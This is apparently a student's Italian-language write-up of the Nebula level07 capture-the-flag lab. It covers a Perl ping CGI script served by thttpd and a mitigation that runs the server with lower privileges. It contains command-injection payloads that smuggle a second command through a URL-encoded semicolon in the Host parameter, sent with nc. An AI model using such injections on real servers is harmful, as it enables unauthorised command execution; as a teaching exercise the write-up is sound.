/usr/sbin/thttpd ha privilegi di esecuzione ingiustificatamente elevati. → Minimo privilegioNella cartella /home/flag07 si notano due file interessanti.
ls -l /home/flag07
-rwxr-xr-x 1 root root 368 2011-11-20 21:22 index.cgi
-rw-r--r-- 1 root root 3719 2011-11-20 21:22 thttpd.conf
Il file index.cgi è uno script perl. Il protocollo cgi permette la comunicazione tra script e server, e l’elemento scambiato è il content-type. Lo script prende il contenuto della variabile host (passata tramite query string) e lo pinga, e stampa l’output.
Analizzando il file thttpd.conf è possibile trovare le informazioni del web server:
Possiamo anche vedere se è presente un processo che esegue thttpd:
ps faux | grep thttpd
Vedo una riga interessante:
flag07 1196 0.0 0.3 2588 840 ? Ss 07:10 0:00 /usr/sbin/thttpd -C /home/flag07/thttpd.conf
Da qui posso vedere che esiste il processo e anche il file di configurazione, che è effettivamente /home/flag07/thttpd.conf.
È possibile iniettare codice remoto tramite la variabile host.
Per farlo dobbiamo costruire il comando:
echo "GET /index.cgi?Host=8.8.8.8" | nc localhost 7007
In questo modo si ottiene il normale output di ping. È ora necesario iniettare il codice malizioso. Per fare ciò si segue la regola:
INPUT = INPUT_LEGITTIMO + CARATTERE_SEPARATORE_COMANDI + COMANDO_ARBITRARIO + CARATTERE_CHIUSURA
Alla variabile passiamo quindi: 8.8.8.8;getflag\r\n\r\n.
Si esegue con l’opzione -e per abilitare l’interpretazione dei backslash come escape.
echo "GET /index.cgi?Host=8.8.8.8;getflag\\r\\n\\r\\n" | nc localhost 7007
Il codice non funziona. Questo perché il punto e virgola è un carattere speciale: è già consumato dal Web server per dividere gli argomenti della query string (in alternativa a &).
È necessario fare l’escape del punto e virgola. Per fare ciò in ambito Web:
Il comando diventa:
echo -e "GET /index.cgi?Host=8.8.8.8%3Bgetflag\\r\\n\\r\\n" | nc localhost 7007
Il prof usa anche l’opzione -n ma non ne ho capito l’utilità.
Come visto nella strategia di attacco è possibile vedere il processo in esecuzione con il comando ps faux | grep thttpd. Cosi ci assicuriamo che il processo segue il file di configurazione thttpd.conf (opzione -C).
Per effettuare la mitigazione effettuiamo una copia del file di configurazione e dello script cgi, nella home directory di level07:
cp /home/flag07/thttpd.conf /home/level07
cp /home/flag07/index.cgi /home/level07
E assegnamo i privilegi appropriati:
chmod 644 thttpd.conf
chmod 755 index.cgi
A questo punto modifichiamo il file di configurazione come segue:
port=7008dir=/home/level07user=level07Se andiamo a questo punto ad avviare una nuova istanza del server web:
thttpd -C /home/level07/thttpd.conf
Il comando di attacco non esegue più con i privilegi di flag07 e dunque l’attacco non va a buon fine.
echo -e "GET /index.cgi?Host=8.8.8.8%3Bgetflag\\r\\n\\r\\n" | nc localhost 7008